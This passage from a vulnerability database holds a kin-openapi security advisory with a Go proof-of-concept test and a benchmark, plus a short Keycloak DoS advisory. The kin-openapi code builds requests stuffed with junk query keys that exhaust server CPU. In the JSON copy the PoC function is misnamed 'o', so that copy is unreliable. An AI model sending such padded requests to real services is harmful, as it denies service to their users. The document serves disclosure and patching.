_ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
return time.Since(start)
}
small := run(2000)
large := run(40000)
t.Logf("2000 junk keys -> %v ; 40000 junk keys -> %v (cost scales with key count)", small, large)
if large > 100*time.Millisecond {
t.Fatalf("VULNERABLE: 40000 junk keys cost %v of CPU for a single request (regexp recompiled per key); scales to full-core saturation", large)
}
}
Run:
go test ./openapi3filter/ -run TestPoCDeepObjectRegexpCPU -v
Observed output on the reference machine (Go 1.25, linux/amd64):
=== RUN TestPoCDeepObjectRegexpCPU
advisory_poc_test.go:71: 2000 junk keys -> 16.542072ms ; 40000 junk keys -> 258.146949ms (cost scales with key count)
advisory_poc_test.go:73: VULNERABLE: 40000 junk keys cost 258.146949ms of CPU for a single request (regexp recompiled per key); scales to full-core saturation
--- FAIL: TestPoCDeepObjectRegexpCPU (0.28s)
FAIL
FAIL github.com/getkin/kin-openapi/openapi3filter 0.293s
FAIL
Time grows roughly linearly with the key count (20× more keys → roughly 15× more time), and none of the j<i>=1 keys belong to the filter parameter — they are pure junk whose only effect is to add loop iterations, each of which recompiles the invariant regexp. A URL of about 1 MB (roughly 100k keys) pushes a single request into the 0.6 s range per deepObject parameter; a few concurrent such requests saturate every core.
Benchmark
The wall-clock PoC above is threshold-based and machine-sensitive. A testing.B benchmark built on the same spec (specDeepObjectParam) makes the scaling — and the per-request memory blow-up — reproducible and quantitative. It reuses the PoC's spec, router and request-shaping, sweeping the junk-key count and reporting ns/op, B/op, and allocs/op.
Save as openapi3filter/advisory_poc_bench_test.go (same package, alongside the PoC):
package openapi3filter_test
import (
"context"
"fmt"
"net/http"
"strings"
"testing"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
// BenchmarkDeepObjectJunkKeys measures the per-request validation cost of a
// deepObject query parameter as the number of attacker-controlled junk query
// keys grows. Before the fix, cost scales linearly with the key count because a
// loop-invariant regexp is recompiled once per key; after the fix it is
// dominated by url-parsing and grows far more gently.
func BenchmarkDeepObjectJunkKeys(b *testing.B) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(specDeepObjectParam))
if err != nil {
b.Fatalf("load: %v", err)
}
if err := doc.Validate(loader.Context); err != nil {
b.Fatalf("validate: %v", err)
}
router, err := gorillamux.NewRouter(doc)
if err != nil {
b.Fatalf("router: %v", err)
}
for _, n := range []int{1000, 5000, 20000, 40000, 80000, 100000} {
var sb strings.Builder
sb.WriteString("/f?filter[a]=x")
for i := 0; i < n; i++ {
fmt.Fprintf(&sb, "&j%d=1", i)
}
target := sb.String()
b.Run(fmt.Sprintf("keys=%d", n), func(b *testing.B) {
b.ReportAllocs()
for i := 0; i < b.N; i++ {
req, _ := http.NewRequest(http.MethodGet, target, nil)
route, pathParams, err := router.FindRoute(req)
if err != nil {
b.Fatalf("route: %v", err)
}
_ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
}
})
}
}
Run:
go test ./openapi3filter/ -run '^$' -bench BenchmarkDeepObjectJunkKeys -benchmem -benchtime=2s
Results on the vulnerable code (Go 1.25, darwin/arm64, Apple M4 Pro):
| junk keys | ns/op | B/op | allocs/op |
|---|---|---|---|
| 1,000 | 1,355,966 | 3,853,606 | 48,114 |
| 5,000 | 7,833,901 | 18,975,316 | 240,221 |
| 20,000 | 33,701,124 | 75,748,660 | 960,562 |
| 40,000 | 63,365,171 | 151,394,478 | 1,920,786 |
| 80,000 | 117,388,579 | 302,663,170 | 3,841,109 |
| 100,000 | 147,468,311 | 375,159,565 | 4,801,189 |
The benchmark quantifies the report along two axes the single-shot PoC only hinted at:
- CPU scales cleanly linearly, with no self-limiting plateau. Every metric grows in near-exact proportion to the junk-key count across two orders of magnitude: CPU, bytes and allocations all rise ~100× from 1k to 100k keys. At 100k keys a single request burns ~147 ms of CPU before any handler runs, and the cost does not taper off — an attacker gets full linear return on each additional junk byte, with the only ceiling being the request-size limit the server chooses to impose (if any).
- The recompilation dominates allocations, not just CPU. Each junk key both compiles a throwaway
*regexp.Regexpand allocates its compiled program as garbage: the vulnerable path costs a steady ~48 allocations and ~3.75 KB per junk key (375 MB and 4.8M allocations at 100k keys). So the same root cause drives both CPU exhaustion and heavy GC/allocator pressure — which is why this mechanism, while distinct from the adjacent memory-exhaustion advisory, also inflates memory traffic.
Impact
Uncontrolled CPU consumption (denial of service). Any service that uses openapi3filter.ValidateRequest (directly or via a router) to validate requests against a spec containing at least one in: query, style: deepObject parameter is affected. An unauthenticated attacker who can reach such an endpoint can send requests with large numbers of junk query keys; each request performs a number of regexp.MustCompile calls proportional to the request's query-key count times the number of deepObject parameters on the route. Because the work is CPU-bound and executed during validation (before any application handler runs), modest request rates can starve the process of CPU and degrade or deny service to legitimate clients. There is no impact to confidentiality or integrity.
Remediation
Hoist the invariant regexp out of the per-key loop: compile the ^<param>\[ pattern once per deepObject parameter (before iterating the query keys) and reuse the compiled *regexp.Regexp for every key — mirroring how the package-level deepObjectBracketRE (req_resp_decoder.go:41) is already handled. This makes decode cost independent of the junk-key count. Matching semantics are unchanged (the pattern still derives from the spec parameter name via regexp.QuoteMeta, so it stays panic-safe for any name), and *regexp.Regexp is safe for the reuse.
As a mitigation before upgrading, front affected endpoints with a limit on request/URL size or query-key count (e.g. at a reverse proxy or middleware), which bounds the number of loop iterations an attacker can force.
Notes
- Advisory relationship: Novel. Adjacent to previously reported memory-exhaustion issue in
deepObjectdecoding (viasliceMapToSlice), but this is a distinct CPU-exhaustion mechanism — repeated compilation of a loop-invariant regexp, once per attacker-supplied query key — not covered by that earlier memory-focused advisory.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/getkin/kin-openapi"
},
"ranges": [
{
"events": [
{
"introduced": "0.145.0"
},
{
"fixed": "0.146.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-100350"
],
"database_specific": {
"cwe_ids": [
"CWE-1050",
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:18:15Z",
"nvd_published_at": "2026-10-15T16:17:30Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`openapi3filter` decodes `deepObject`-style query parameters by looping over **every** key in the request\u0027s query string. Inside that loop it recompiles a **loop-invariant** regular expression on every iteration. The pattern depends only on the spec-defined parameter name, not on the loop variable, so it is compiled `N` times for `N` query keys instead of once. Because the number of query keys is attacker-controlled and unbounded, a single request with many junk query keys forces a proportional number of `regexp.MustCompile` calls, consuming CPU. A handful of concurrent requests can saturate all cores \u2014 an uncontrolled-resource-consumption denial of service.\n\nThis is **not** ReDoS: the pattern is fixed (`^\u003cparam\u003e\\[`) and matches in linear time. The cost is the **repeated compilation** of an invariant regexp, once per attacker-supplied query key.\n\n### Details\n\nIn `openapi3filter/req_resp_decoder.go`, the `deepObject` branch of `urlValuesDecoder.DecodeObject` builds a per-parameter property map by iterating over all query keys:\n\n```go\ncase \"deepObject\":\n propsFn = func(params url.Values) (map[string]string, error) {\n props := make(map[string]string)\n for key, values := range params { // req_resp_decoder.go:689\n if !regexp.MustCompile(fmt.Sprintf(`^%s\\[`, regexp.QuoteMeta(param))).MatchString(key) { // :690\n continue\n }\n matches := deepObjectBracketRE.FindAllStringSubmatch(key, -1)\n ...\n }\n ...\n }\n```\n\nThe regexp built at `req_resp_decoder.go:690` depends only on `param` \u2014 the parameter name defined in the OpenAPI spec \u2014 which is **constant** for the whole loop. Yet `regexp.MustCompile(...)` is invoked inside the `for key, values := range params` loop at `req_resp_decoder.go:689`, so it is recompiled once for every key present in the query string.\n\nContrast this with the already-hoisted, package-level regexp used two lines below:\n\n```go\nvar deepObjectBracketRE = regexp.MustCompile(`\\[(.*?)\\]`) // req_resp_decoder.go:41\n```\n\n`deepObjectBracketRE` is compiled exactly once at package init and reused. The per-parameter pattern at `:690` should be compiled the same way (once, outside the loop), but instead is rebuilt on every iteration.\n\n`regexp.MustCompile` costs on the order of a few microseconds per call. The number of iterations equals the number of query keys `N`, which the client fully controls (a ~1 MB URL holds roughly 100k keys). For each `deepObject` parameter `M` defined on the matched route, the request performs `N \u00d7 M` compilations. The work is CPU-bound, happens during request validation before any handler logic, and scales linearly with request size, so an attacker converts cheap request bytes into expensive server CPU.\n\nAffected code path: `ValidateRequest` \u2192 `ValidateParameter` \u2192 `decodeStyledParameter` \u2192 `urlValuesDecoder.DecodeObject` (the `deepObject` case). Any operation with at least one `in: query`, `style: deepObject` parameter is exploitable.\n\n### PoC\n\nThe following self-contained test (package `openapi3filter_test`) defines a spec with a single `deepObject` query parameter, then validates two requests that differ only in the number of junk query keys. Decoding time grows with the key count even though none of the junk keys are part of the parameter.\n\nSave as `openapi3filter/advisory_poc_test.go`:\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst specDeepObjectParam = `\nopenapi: 3.0.0\ninfo: {title: PoC, version: 1.0.0}\npaths:\n /f:\n get:\n parameters:\n - name: filter\n in: query\n style: deepObject\n explode: true\n schema: {type: object, properties: {a: {type: string}}}\n responses:\n \u0027200\u0027: {description: ok}\n`\n\n// TestPoCDeepObjectRegexpCPU demonstrates that decode cost scales with the\n// number of (attacker-controlled) junk query keys because a loop-invariant\n// regexp is recompiled once per key. It logs timings for two key counts and\n// fails if the larger count crosses a clearly-abnormal CPU threshold.\nfunc o(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(specDeepObjectParam))\n\tif err != nil {\n\t\tt.Fatalf(\"load: %v\", err)\n\t}\n\tif err := doc.Validate(loader.Context); err != nil {\n\t\tt.Fatalf(\"validate: %v\", err)\n\t}\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tt.Fatalf(\"router: %v\", err)\n\t}\n\n\trun := func(n int) time.Duration {\n\t\tvar sb strings.Builder\n\t\tsb.WriteString(\"/f?filter[a]=x\")\n\t\tfor i := 0; i \u003c n; i++ {\n\t\t\tfmt.Fprintf(\u0026sb, \"\u0026j%d=1\", i)\n\t\t}\n\t\treq, _ := http.NewRequest(http.MethodGet, sb.String(), nil)\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"route: %v\", err)\n\t\t}\n\t\tstart := time.Now()\n\t\t_ = openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\treturn time.Since(start)\n\t}\n\n\tsmall := run(2000)\n\tlarge := run(40000)\n\tt.Logf(\"2000 junk keys -\u003e %v ; 40000 junk keys -\u003e %v (cost scales with key count)\", small, large)\n\tif large \u003e 100*time.Millisecond {\n\t\tt.Fatalf(\"VULNERABLE: 40000 junk keys cost %v of CPU for a single request (regexp recompiled per key); scales to full-core saturation\", large)\n\t}\n}\n```\n\nRun:\n\n```\ngo test ./openapi3filter/ -run TestPoCDeepObjectRegexpCPU -v\n```\n\nObserved output on the reference machine (Go 1.25, linux/amd64):\n\n```\n=== RUN TestPoCDeepObjectRegexpCPU\n advisory_poc_test.go:71: 2000 junk keys -\u003e 16.542072ms ; 40000 junk keys -\u003e 258.146949ms (cost scales with key count)\n advisory_poc_test.go:73: VULNERABLE: 40000 junk keys cost 258.146949ms of CPU for a single request (regexp recompiled per key); scales to full-core saturation\n--- FAIL: TestPoCDeepObjectRegexpCPU (0.28s)\nFAIL\nFAIL\tgithub.com/getkin/kin-openapi/openapi3filter\t0.293s\nFAIL\n```\n\nTime grows roughly linearly with the key count (20\u00d7 more keys \u2192 roughly 15\u00d7 more time), and none of the `j\u003ci\u003e=1` keys belong to the `filter` parameter \u2014 they are pure junk whose only effect is to add loop iterations, each of which recompiles the invariant regexp. A URL of about 1 MB (roughly 100k keys) pushes a single request into the 0.6 s range per `deepObject` parameter; a few concurrent such requests saturate every core.\n\n### Benchmark\n\nThe wall-clock PoC above is threshold-based and machine-sensitive. A `testing.B` benchmark built on the same spec (`specDeepObjectParam`) makes the scaling \u2014 and the per-request memory blow-up \u2014 reproducible and quantitative. It reuses the PoC\u0027s spec, router and request-shaping, sweeping the junk-key count and reporting `ns/op`, `B/op`, and `allocs/op`.\n\nSave as `openapi3filter/advisory_poc_bench_test.go` (same package, alongside the PoC):\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\n// BenchmarkDeepObjectJunkKeys measures the per-request validation cost of a\n// deepObject query parameter as the number of attacker-controlled junk query\n// keys grows. Before the fix, cost scales linearly with the key count because a\n// loop-invariant regexp is recompiled once per key; after the fix it is\n// dominated by url-parsing and grows far more gently.\nfunc BenchmarkDeepObjectJunkKeys(b *testing.B) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(specDeepObjectParam))\n\tif err != nil {\n\t\tb.Fatalf(\"load: %v\", err)\n\t}\n\tif err := doc.Validate(loader.Context); err != nil {\n\t\tb.Fatalf(\"validate: %v\", err)\n\t}\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tb.Fatalf(\"router: %v\", err)\n\t}\n\n\tfor _, n := range []int{1000, 5000, 20000, 40000, 80000, 100000} {\n\t\tvar sb strings.Builder\n\t\tsb.WriteString(\"/f?filter[a]=x\")\n\t\tfor i := 0; i \u003c n; i++ {\n\t\t\tfmt.Fprintf(\u0026sb, \"\u0026j%d=1\", i)\n\t\t}\n\t\ttarget := sb.String()\n\n\t\tb.Run(fmt.Sprintf(\"keys=%d\", n), func(b *testing.B) {\n\t\t\tb.ReportAllocs()\n\t\t\tfor i := 0; i \u003c b.N; i++ {\n\t\t\t\treq, _ := http.NewRequest(http.MethodGet, target, nil)\n\t\t\t\troute, pathParams, err := router.FindRoute(req)\n\t\t\t\tif err != nil {\n\t\t\t\t\tb.Fatalf(\"route: %v\", err)\n\t\t\t\t}\n\t\t\t\t_ = openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t}\n}\n```\n\nRun:\n\n```\ngo test ./openapi3filter/ -run \u0027^$\u0027 -bench BenchmarkDeepObjectJunkKeys -benchmem -benchtime=2s\n```\n\nResults on the vulnerable code (Go 1.25, darwin/arm64, Apple M4 Pro):\n\n| junk keys | ns/op | B/op | allocs/op |\n|----------:|------------:|-------------:|------------:|\n| 1,000 | 1,355,966 | 3,853,606 | 48,114 |\n| 5,000 | 7,833,901 | 18,975,316 | 240,221 |\n| 20,000 | 33,701,124 | 75,748,660 | 960,562 |\n| 40,000 | 63,365,171 | 151,394,478 | 1,920,786 |\n| 80,000 | 117,388,579 | 302,663,170 | 3,841,109 |\n| 100,000 | 147,468,311 | 375,159,565 | 4,801,189 |\n\nThe benchmark quantifies the report along two axes the single-shot PoC only hinted at:\n\n- **CPU scales cleanly linearly, with no self-limiting plateau.** Every metric grows in near-exact proportion to the junk-key count across two orders of magnitude: CPU, bytes and allocations all rise ~100\u00d7 from 1k to 100k keys. At 100k keys a single request burns ~147 ms of CPU **before any handler runs**, and the cost does not taper off \u2014 an attacker gets full linear return on each additional junk byte, with the only ceiling being the request-size limit the server chooses to impose (if any).\n- **The recompilation dominates allocations, not just CPU.** Each junk key both compiles a throwaway `*regexp.Regexp` and allocates its compiled program as garbage: the vulnerable path costs a steady **~48 allocations and ~3.75 KB per junk key** (375 MB and 4.8M allocations at 100k keys). So the same root cause drives both CPU exhaustion and heavy GC/allocator pressure \u2014 which is why this mechanism, while distinct from the adjacent memory-exhaustion advisory, also inflates memory traffic.\n\n### Impact\n\nUncontrolled CPU consumption (denial of service). Any service that uses `openapi3filter.ValidateRequest` (directly or via a router) to validate requests against a spec containing at least one `in: query`, `style: deepObject` parameter is affected. An unauthenticated attacker who can reach such an endpoint can send requests with large numbers of junk query keys; each request performs a number of `regexp.MustCompile` calls proportional to the request\u0027s query-key count times the number of `deepObject` parameters on the route. Because the work is CPU-bound and executed during validation (before any application handler runs), modest request rates can starve the process of CPU and degrade or deny service to legitimate clients. There is no impact to confidentiality or integrity.\n\n### Remediation\n\nHoist the invariant regexp out of the per-key loop: compile the `^\u003cparam\u003e\\[` pattern once per `deepObject` parameter (before iterating the query keys) and reuse the compiled `*regexp.Regexp` for every key \u2014 mirroring how the package-level `deepObjectBracketRE` (`req_resp_decoder.go:41`) is already handled. This makes decode cost independent of the junk-key count. Matching semantics are unchanged (the pattern still derives from the spec parameter name via `regexp.QuoteMeta`, so it stays panic-safe for any name), and `*regexp.Regexp` is safe for the reuse.\n\nAs a mitigation before upgrading, front affected endpoints with a limit on request/URL size or query-key count (e.g. at a reverse proxy or middleware), which bounds the number of loop iterations an attacker can force.\n\n### Notes\n\n- **Advisory relationship:** Novel. Adjacent to previously reported memory-exhaustion issue in `deepObject` decoding (via `sliceMapToSlice`), but this is a distinct CPU-exhaustion mechanism \u2014 repeated compilation of a loop-invariant regexp, once per attacker-supplied query key \u2014 not covered by that earlier memory-focused advisory.",
"id": "GHSA-h4r5-mxv5-8mjc",
"modified": "2026-10-15T20:18:16Z",
"published": "2026-10-15T20:18:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-h4r5-mxv5-8mjc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100350"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/commit/d090e36b2f1c42c898ba2a687a8f6e25f5ca727f"
},
{
"type": "PACKAGE",
"url": "https://github.com/getkin/kin-openapi"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/releases/tag/v0.146.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "kin-openapi deepObject query decoding repeatedly compiles an invariant regular expression"
}
GHSA-H4WV-G838-66G3
Vulnerability from github – Published: 2026-04-02 15:31 – Updated: 2026-04-04 06:00A flaw was found in Keycloak. An unauthenticated attacker can exploit this vulnerability by sending a specially crafted POST request with an excessively long scope parameter to the OpenID Connect (OIDC) token endpoint. This leads to high resource consumption and prolonged processing times, ultimately resulting in a Denial of Service (DoS) for the Keycloak server.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.keycloak:keycloak-services"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-4634"
],
"database_specific": {
"cwe_ids": [
"CWE-1050"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T06:00:47Z",
"nvd_published_at": "2026-04-02T13:16:27Z",
"severity": "HIGH"
},
"details": "A flaw was found in Keycloak. An unauthenticated attacker can exploit this vulnerability by sending a specially crafted POST request with an excessively long scope parameter to the OpenID Connect (OIDC) token endpoint. This leads to high resource consumption and prolonged processing times, ultimately resulting in a Denial of Service (DoS) for the Keycloak server.",
"id": "GHSA-h4wv-g838-66g3",
"modified": "2026-04-04T06:00:47Z",
"published": "2026-04-02T15:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4634"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/issues/47716"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/commit/b455ee4f28abb6f2120aff72fd179589cc5267a0"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:6475"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:6476"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:6477"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:6478"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-4634"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2450250"
},
{
"type": "PACKAGE",
"url": "https://github.com/keycloak/keycloak"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Keycloak: Application-Level DoS via Scope Processing"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.